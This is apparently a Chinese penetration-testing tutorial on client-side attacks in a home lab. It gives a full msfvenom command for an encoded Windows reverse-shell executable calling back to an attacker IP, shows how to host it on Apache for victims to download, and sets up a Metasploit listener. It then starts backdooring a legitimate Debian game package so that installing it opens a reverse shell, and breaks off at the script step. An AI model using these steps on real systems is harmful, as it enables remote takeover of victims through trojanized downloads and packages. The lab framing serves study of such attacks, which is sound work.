前言
本节学习客户端渗透
- 在无法突破网络边界的情况下转而攻击客户端,通过社会工程学攻击,进而渗透线上业务网络
- 含有漏洞利用代码的 web 站点
- 含有漏洞利用代码的 doc、pdf等文档
- 诱骗被害者执行 payload
1、准备
目标机metasploitable
IP:192.168.1.120
目标机winxp
IP:192.168.1.122
目标机win7
IP:192.168.1.123
目标机ubantu
IP:192.168.1.124
攻击机kali
IP:192.168.1.121
2、攻击windows
kali
#生成payload
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=192.168.1.121 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 9 -f exe -o 1.exe
#启动apache
service apache2 start
cp 1.exe /var/www/html/
#用msf侦听
msfconsole
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload/windows/shell/reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.1.121
msf exploit(multi/handler) > set LPORT 4444
msf exploit(multi/handler) > exploit
win7浏览器打开192.168.1.121/1.exe下载并执行
kali获取win7的权限
3、攻击linux
将payload注入deb包
目标机执行deb包时反弹shell
kali
#搞个deb包
apt --download-only install freesweep
cd /var/cache/apt/archives #deb包在这个文件夹
dpkg -x freesweep_0.90-3+b1_amd64.deb free #解包
cd free/
mkdir DEBIAN
cd DEBIAN/
#创建控制文件
vi control
Package: freesweep
Version: 0.90-3
Section: Games and Amusement
Priority: optional
Architecture:amd64
Maintainer: Ubuntu MOTU Developers (ubuntu-motu@ lists.ubuntu.com)
Description: a text-based minesweeper
Freesweep isan implementation of the popular minesweeper game,whereone tries to find all the mines without igniting any, based on hints givenby the computer.Unlike most implementations of this game,Freesweepworksinanyvisualtextdispl in Linuxconsole,inanxterm,and inmost text-based terminals currently in use.
#创建脚本